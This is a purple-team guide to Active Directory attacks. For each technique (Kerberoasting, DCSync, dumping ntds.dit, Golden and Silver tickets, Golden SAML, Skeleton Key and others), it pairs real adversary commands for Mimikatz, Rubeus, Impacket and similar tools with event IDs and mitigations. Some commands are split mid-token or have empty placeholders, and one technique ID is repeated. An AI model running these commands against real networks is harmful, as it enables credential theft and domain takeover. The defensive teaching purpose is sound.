Purple Team Attack Methods: Active Directory Edition

Active Directory (AD) forms the authentication backbone of most enterprise networks globally, making it one of the most valuable targets for threat actors. Integrating purple teaming into your AD security assessment strategy provides an approach to identifying, understanding, and addressing vulnerabilities before attackers can exploit them. Information for this article was pulled from the Joint publication authored by the Australian Signals Directorate (ASD), the Cybersecurity and Infrastructure Security Agency (CISA), the National Security Agency (NSA), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NCSC-NZ), and the United Kingdom’s National Cyber Security Centre (NCSC-UK) link

Why Active Directory is a Prime Target

Microsoft's Active Directory is the most widely used authentication and authorization solution in enterprise IT networks worldwide. It provides multiple critical services, including Active Directory Domain Services (AD DS), Active Directory Federation Services (AD FS), and Active Directory Certificate Services (AD CS).

AD's pivotal role in authentication makes it exceptionally valuable to attackers for several reasons:

- Gaining control of AD gives attackers privileged access to all systems and users1
- Attackers can bypass other security controls once AD is compromised1
- AD has a large attack surface due to permissive default settings and complex relationships1
- Every user in AD has sufficient permission to both identify and potentially exploit weaknesses1

Given these factors, Active Directory security assessment should be a top priority for organizations. The following curated list will help you begin your Purple Teaming efforts, covering the AD Attacks and Mitigations detailed in the joint publication. For developing your own customized methods across Windows, Linux, Network, and Container attacks, the Purple Team Field Manual 2nd Edition by Tim Bryant serves as an excellent resource.

Kerberoasting (T1558.003)

Kerberoasting exploits user objects configured with a service principal name (SPN). Any user in the domain can request a ticket granting service (TGS) ticket for these accounts, which is encrypted with the service account's password hash. Attackers can crack this hash offline to reveal the cleartext password, allowing them to authenticate as the service account and potentially escalate privileges.

Adversary Commands

```
# Using Rubeus
Rubeus.exe kerberoast /outfile:hashes.txt

# Using PowerShell Empire
Invoke-Kerberoast -OutputFormat HashCat

# Using Impacket
GetUserSPNs.py -request -dc-ip  /:

# Using Mimikatz
kerberos::list /export
```

Defenders

Monitor service ticket requests and look for unusual patterns, such as multiple service ticket requests from a single source in a short timeframe.

Monitor:

- Event ID 4769: A service ticket was requested
    - Look for encryption type 0x17 (RC4), which indicates potential Kerberoasting
    - Common attack tools use Ticket Options value '0x40800000' or '0x40810000'
- Event ID 4738/5136: User account changes (attackers may add and remove SPNs)

Mitigation:

- Create service accounts as group Managed Service Accounts (gMSAs) with 120-character passwords
- Minimize the number of user accounts with SPNs

- Ensure service accounts have minimal privileges and are not in privileged groups
- Enable AES encryption for accounts with SPNs

AS-REP Roasting (T1558.004)

AS-REP Roasting exploits user accounts configured to not require Kerberos pre-authentication. Attackers can request authentication tickets (AS-REP) for these users without authentication, and the tickets are encrypted with the user's password hash. These hashes can be cracked offline to reveal the cleartext password.

Adversary Commands

```
# Using Rubeus
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt

# Using Impacket
GetNPUsers.py -dc-ip  / -usersfile users.txt -format hashcat -outputfile hashes.txt

# Using PowerShell
Get-ASREPHash -UserName  -Domain
```

Defenders

Look for authentication attempts that bypass pre-authentication.

Monitor:

- Event ID 4625: Account failed to log on (when AS-REP Roasting is executed without valid credentials)
- Event ID 4738/5136: User account changes (attackers may modify pre-authentication settings)
- Event ID 4768: TGT was requested (multiple TGT requests in short timeframe may indicate AS-REP Roasting)

Mitigation:

- Ensure Kerberos pre-authentication is required for all user accounts
- For accounts that must bypass pre-authentication, enforce strong passwords (30+ characters)
- Grant minimal privileges to accounts that bypass pre-authentication

Password Spraying (T1110.003)

Password spraying attempts to authenticate using a single or small set of common passwords against many accounts. This technique avoids account lockouts by limiting attempts per account and increases chances of finding at least one valid credential. Attackers often target the built-in Administrator account which cannot be truly locked out.

Adversary Commands

```
# Using DomainPasswordSpray
Invoke-DomainPasswordSpray -Password Spring2025! -UserList users.txt

# Using NetExec
nxc smb  -u userlist.txt -p Spring2025!

# Using Rubeus
Rubeus.exe brute /password:Spring2025! /outfile:valid.txt
```

Defenders

Look for multiple failed authentication attempts across different accounts with the same password.

Monitor:

- Event ID 2889: Unsigned LDAP binds (when LDAP is used for password spraying)
- Event ID 4625: Failed logon attempts (via SMB)
- Event ID 4624: Successful logon (correlated with nearby 4625 events indicates successful spraying)
- Event ID 4648: Explicit credential logon attempts
- Event ID 4740: Account lockouts (if multiple accounts lock out simultaneously)

Mitigation:

- Implement strong password policies (15+ characters, complex, unpredictable)
- Set account lockout thresholds after 5 failed attempts
- Configure built-in Administrator account as sensitive and cannot be delegated
- Disable NTLM protocol where possible
- Scan networks regularly for credentials stored in cleartext

MachineAccountQuota Compromise (T1136.002)

This technique exploits the default Active Directory setting that allows regular users to create up to 10 computer objects in the domain. Attackers create a computer account, authenticate as this computer, and inherit the privileges of the Domain Computers group. If this group has excessive privileges, attackers can escalate and move laterally.

Adversary Commands

```
# Using PowerMad
New-MachineAccount -MachineAccount "EVILCOMPUTER" -Password $(ConvertTo-SecureString
"P@ssw0rd" -AsPlainText -Force)

# Using Impacket
addcomputer.py -computer-name "EVILCOMPUTER" -computer-pass "P@ssw0rd" -dc-ip  /:

# KrbRelayUp attack (when LDAP signing not enforced)
KrbRelayUp.exe -m computer -c "EVILCOMPUTER" -p "P@ssw0rd"
```

Defenders

Monitor for unusual computer account creation, especially by non-admin users.

Monitor:

- Event ID 4741: Computer account created
- Event ID 4724: Password reset attempt (for the computer account)
- Event ID 4624: Computer account authentication

Mitigation:

- Set MS-DS-MachineAccountQuota attribute to zero for unprivileged users
- Ensure Domain Computers group has no unnecessary privileges
- Ensure Domain Computers group has no write privileges to AD objects
- Enable LDAP signing for Domain Controllers to mitigate KrbRelayUp

Unconstrained Delegation (T1558.001)

Attackers target computers configured for unconstrained delegation. When a user authenticates to such a system, their Kerberos TGT is stored in the computer's memory. If attackers compromise this computer, they can extract these tickets and impersonate users, including domain administrators who may have authenticated to the system.

Adversary Commands

```
# Extracting TGTs from memory using Mimikatz sekurlsa::tickets /
export

# Using Rubeus to monitor for and capture tickets Rubeus.exe
monitor /interval:5 /nowrap

# Find computers with unconstrained delegation
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
```

```
# Forcing a Domain Controller to authenticate (Print Spooler attack)
SpoolSample.exe TargetServer CaptureServer
```

Defenders

Monitor for credential extraction from LSASS and suspicious authentications to systems with delegation.

Monitor:

- Event ID 4103/4104: PowerShell execution (for tools like Rubeus)
- Event ID 4624: Authentication events to delegation-enabled systems
- Event ID 4688: Process creation events (look for LSASS memory dumping)
- Event ID 4770: TGT renewals (may indicate stolen TGTs)

Mitigation:

- Disable unconstrained delegation; use resource-based constrained delegation instead
- Configure privileged accounts as "sensitive and cannot be delegated"
- Add privileged accounts to the Protected Users group
- Disable Print Spooler service on Domain Controllers

Password in Group Policy Preferences (GPP) Compromise (T1552.006)

This vulnerability allows attackers to decrypt passwords stored in Group Policy Preferences. These encrypted passwords (cpasswords) are stored in the SYSVOL directory, which is readable by all domain users. Microsoft published the decryption key in 2012, making these passwords easily recoverable.

Adversary Commands

```
# Find GPP passwords in SYSVOL
findstr /S /I cpassword \\\\domain.com\\sysvol\\*.xml

# Using PowerSploit
Get-GPPPassword

# Decrypt with gpp-decrypt
gpp-decrypt
```

Defenders

No reliable event-based detection exists since SYSVOL access is normal domain behavior. Consider implementing canary GPP passwords to detect access attempts.

Mitigation:

- Remove all GPP passwords from SYSVOL
- Apply Microsoft security patch KB2962486
- Use Microsoft LAPS instead for local administrator password management

Active Directory Certificate Services (AD CS) Compromise (T1556.004)

Attackers exploit vulnerable certificate templates in AD CS to request certificates that allow them to impersonate other users. Common vulnerabilities include templates that allow user-supplied Subject Alternative Names (SANs) for authentication certificates, enabling privilege escalation.

Adversary Commands

```
# Using Certify to find vulnerable templates
Certify.exe find /vulnerable

# Request certificate with SAN for privileged user
Certify.exe request /ca: /template: /altname:administrator

# Using the certificate for authentication
Rubeus.exe asktgt /user:administrator /certificate: /password:
```

Defenders

Monitor for certificate requests with mismatched subjects and requesters.

Monitor:

- Event ID 4886: Certificate request received
- Event ID 4887: Certificate approval
- Event ID 4899: Certificate template updated
- Event ID 4900: Certificate template security settings changed
- Event IDs 39-41: Certificate mapping issues (KDC logs)

Mitigation:

- Remove the "Enrollee Supplies Subject" flag from authentication templates
- Restrict standard user permissions on certificate templates
- Disable EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CAs

- Require CA manager approval for SAN-capable templates
- Remove user authentication EKUs from templates
- Implement proper CA security controls

Golden Certificate (T1649)

If attackers gain administrative access to a Certification Authority (CA), they can extract the CA certificate and private key. This allows them to forge valid certificates for any user in the domain, enabling persistent impersonation of privileged accounts even across password changes.

Adversary Commands

```
# Extract CA certificate and private key using Mimikatz
crypto::exportCertificates /systemstore:ROOT /silent

# Using ForgeCert to create forged certificates
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword password --Subject "CN=Administrator" --SubjectAltName administrator@domain.com --NewCertPath admin.pfx --NewCertPassword password
```

Defenders

Monitor for certificate exports and suspicious activity on CA servers.

Monitor:

- Event ID 70 (CAPI2): Certificate private key acquisition
- Event ID 1102: Security audit log cleared
- Event ID 4103: PowerShell execution (for certificate tools)
- Event ID 4876: CA database backup attempted

Mitigation:

- Implement MFA for privileged CA access
- Use Hardware Security Modules (HSMs) to protect CA private keys
- Limit access to CA servers to only necessary privileged accounts
- Implement application control on CA servers
- Secure CA server backups using encryption
- Centrally monitor CA server logs

DCSync (T1003.006)

DCSync exploits Active Directory replication to request user password hashes from a Domain Controller. Attackers with the necessary replication permissions can extract password hashes for any user, including the KRBTGT account. This requires "Replicating Directory Changes" permissions, which are held by Domain Admins and Enterprise Admins by default.

Adversary Commands

```
# Using Mimikatz
lsadump::dcsync /domain:domain.com /user:administrator

# Using Impacket's secretsdump
secretsdump.py -just-dc domain/user:password@target

# Using Empire
invoke-dcsync -domain domain.com -user administrator
```

Defenders

Monitor for directory replication requests from non-Domain Controller systems.

Monitor:

- Event ID 4662: Operation performed on an object
  - Look for DS-Replication-Get-Changes-All GUID (1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
  - Check if the account performing the operation is not a Domain Controller

Mitigation:

- Minimize users with replication permissions
- Ensure service accounts don't have replication permissions
- Implement tiered administration model to prevent privileged accounts from logging into lower-tier systems
- Review replication permissions annually
- Disable NTLMv1 protocol
- Disable storage of LM password hashes

Dumping ntds.dit (T1003.003)

Attackers with domain admin privileges can extract the Active Directory database file (ntds.dit), which contains all user password hashes and other sensitive information. This can be done directly from Domain Controllers or by targeting backup files.

Adversary Commands

```
# Using Volume Shadow Copy
vssadmin create shadow /for=C:
copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\NTDS\\ntds.dit C:\\te
mp\\ntds.dit
copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SY
STEM C:\\temp\\SYSTEM

# Using ntdsutil
ntdsutil "activate instance ntds" "ifm" "create full C:\\temp" quit quit

# Using PowerShell
Invoke-NinjaCopy -Path "C:\\Windows\\NTDS\\ntds.dit" -LocalDestination "C:\\temp\\ntds.dit"
```

Defenders

Monitor for access attempts to the ntds.dit file and suspicious system file operations.

Monitor:

- Event ID 1102: Security log cleared
- Event ID 4103/4104: PowerShell execution referencing ntds.dit
- Event ID 4656: Handle requested to an object (ntds.dit)
- Event ID 4663: Attempt to access ntds.dit when SACL is enabled

Mitigation:

- Limit access to Domain Controllers to only essential privileged users
- Implement tiered administration model with secure admin workstations
- Secure Domain Controller backups
- Use Domain Controllers only for directory services
- Disable Print Spooler and SMBv1 on Domain Controllers
- Centrally monitor Domain Controller logs

Golden Ticket (T1558.001)

A Golden Ticket attack uses the KRBTGT account's password hash to forge Kerberos Ticket Granting Tickets (TGTs). These forged tickets can impersonate any user in the domain with any group membership, allowing attackers to maintain persistent privileged access even after password changes for regular accounts.

Adversary Commands

```
# Using Mimikatz
kerberos::golden /domain:domain.com /sid:S-1-5-21-... /rc4:KRBTGT_NTLM_HASH /user:administr
ator /id:500 /ptt

# Using Impacket
ticketer.py -nthash KRBTGT_NTLM_HASH -domain-sid S-1-5-21-... -domain domain.com administr
ator
```

Defenders

Look for TGS requests without corresponding TGT requests and suspicious ticket properties.

Monitor:

- Event ID 4769: Service ticket requested (without corresponding 4768 events)
- Look for unusual ticket encryption (RC4 instead of AES)
- Check for TGTs with abnormal lifetimes (default is 10 hours, attackers often use 10 years)

Mitigation:

- Change the KRBTGT password twice (with sufficient replication time between changes)
- Implement regular KRBTGT password rotations (annually or after suspected compromise)
- Protect Domain Controllers from compromise (which is needed to obtain KRBTGT hash)

Silver Ticket (T1558.002)

Attackers with a service account or computer account password hash can forge Kerberos service tickets (TGS) to authenticate directly to services. This bypasses Domain Controllers entirely, making detection more difficult. Services vulnerable to Silver Tickets include file shares, SQL servers, and PowerShell remoting.

Adversary Commands

```
# Using Mimikatz to create a Silver Ticket for CIFS service
kerberos::golden /domain:domain.com /sid:S-1-5-21-... /target:server.domain.com /service:cifs /rc
4:TARGET_COMPUTER_HASH /user:administrator /ptt

# Using Impacket
ticketer.py -nthash TARGET_COMPUTER_HASH -domain-sid S-1-5-21-... -domain domain.com -sp
n cifs/server.domain.com administrator
```

Defenders

Since Silver Tickets bypass Domain Controllers, detection must focus on the targeted systems.

Monitor:

- Event ID 4624: Account logon (on target system)
- Event ID 4627: Group membership information (check for discrepancies between SID and group membership)

Mitigation:

- Use group Managed Service Accounts with 120-character passwords
- Ensure computer passwords are changed regularly (every 30 days)
- Ensure computer accounts are not members of privileged groups
- Ensure Domain Computers group has minimal privileges

Golden SAML (T1606.002)

Attackers with access to an AD FS server can extract the token signing certificate and key to forge SAML authentication responses. This allows them to impersonate any user to cloud services like Microsoft 365 or Azure, bypassing MFA and maintaining access even after password changes.

Adversary Commands

```
# Using AADInternals to extract ADFS keys
Export-AADIntADFSSigningCertificate

# Creating a Golden SAML token
New-AADIntSAMLToken -ImmutableID (Get-AADIntUser user@domain.com).ImmutableId -Issuer "
<http://adfs.domain.com/adfs/services/trust>" -PfxFileName adfs.pfx -PfxPassword (ConvertTo-S
ecureString -String "password" -AsPlainText -Force)
```

Defenders

Monitor AD FS servers for certificate exports and configuration changes.

Monitor:

- Event ID 70: Certificate private key exported
- Event ID 307/510: AD FS configuration changes
- Event ID 1007: Certificate exported
- Event ID 1149: AD FS authentication activity (correlate with cloud service logs)
- Event ID 4662: Access to the DKM container in AD

Mitigation:

- Configure AD FS service account as a gMSA
- Limit access to AD FS servers to only essential privileged accounts

- Implement secure administration practices for AD FS servers
- Rotate token-signing certificates regularly
- Configure cloud services to require MFA regardless of claims from identity providers

Microsoft Entra Connect Compromise (T1555.005)

Attackers who compromise a Microsoft Entra Connect server can extract credentials used for synchronization between on-premises AD and Microsoft Entra ID (Azure AD). This allows them to replicate password hashes from AD or manipulate authentication for cloud services.

Adversary Commands

```
# Using AADInternals to extract credentials (PHS configuration)
Get-AADIntSyncCredentials

# Dumping credentials with Mimikatz
sekurlsa::dpapi
dpapi::cred /in:"%localappdata%\\Microsoft\\Azure AD Connect\\user_creds.json"
```

Defenders

Monitor Microsoft Entra Connect servers for unauthorized access and synchronization activities.

Monitor:

- Event ID 611: Password hash synchronization failure
- Event ID 650/651: Password synchronization activity
- Event ID 656/657: Password synchronization with Microsoft Entra ID

Mitigation:

- Disable hard match takeover and soft matching
- Use separate privileged accounts for on-premises AD and Microsoft Entra ID
- Enable MFA for all privileged Microsoft Entra ID accounts
- Limit access to Microsoft Entra Connect servers
- Secure local administrator accounts on Microsoft Entra Connect servers
- Monitor Microsoft Entra Connect Health alerts

One-way Domain Trust Bypass (T1550.002)

Even in a one-way trust relationship, attackers who compromise a Domain Controller in the trusting domain can retrieve the trust password hash and use it to authenticate to the trusted domain, effectively bypassing the one-way nature of the trust.

Adversary Commands

```
# Using Mimikatz to extract trust keys
lsadump::trust /patch

# Creating forged trust tickets
lsadump::dcsync /domain:trusting.domain /all /csv
kerberos::golden /domain:trusting.domain /sid:S-1-5-21-... /sids:S-1-5-21-...-519 /rc4:TRUST_KEY_
HASH /user:Administrator /service:krbtgt /target:trusted.domain /ticket:trust.kirbi
```

Defenders

Monitor for trust relationship authentication attempts from unexpected sources.

Mitigation:

- Minimize trust relationships between domains
- Create "selective authentication" trusts where possible
- Implement SID filtering on domain trusts
- Reset trust passwords regularly
- Consider all trusted domains compromised if one domain is compromised

Skeleton Key (T1555.005)

Attackers inject a "skeleton key" into Domain Controllers' LSASS process, allowing them to authenticate as any user with a universal password while legitimate users can still use their original passwords. This provides persistent backdoor access to the entire domain.

Adversary Commands

```
# Using Mimikatz to deploy Skeleton Key
mimikatz # privilege::debug
mimikatz # misc::skeleton

# Authenticating with the skeleton key (default password is "mimikatz") net use \\\\server\
\share /user:administrator mimikatz
```

Defenders

Monitor for LSASS process manipulation on Domain Controllers.

Monitor:

- Event ID 4673: Sensitive privilege use

- Event ID 4611: Trusted logon process registration
- Event ID 4688: Process creation events related to LSASS
- Authentication failures with specific error codes (0xC0000133)

Mitigation:

- Implement application control on Domain Controllers
- Use credential guard to protect LSASS
- Monitor LSASS process integrity
- Reboot Domain Controllers regularly (removes in-memory skeleton key)
- Implement MFA to mitigate impact

This comprehensive guide explores the concept of purple teaming, where red (offensive) and blue (defensive) security teams collaborate to strengthen an organization's security posture through various attack scenarios and mitigations. The document details several advanced persistence techniques including Golden Ticket, Silver Ticket, and Skeleton Key attacks, providing both adversary commands and defensive strategies to help security teams better understand and defend against these threats.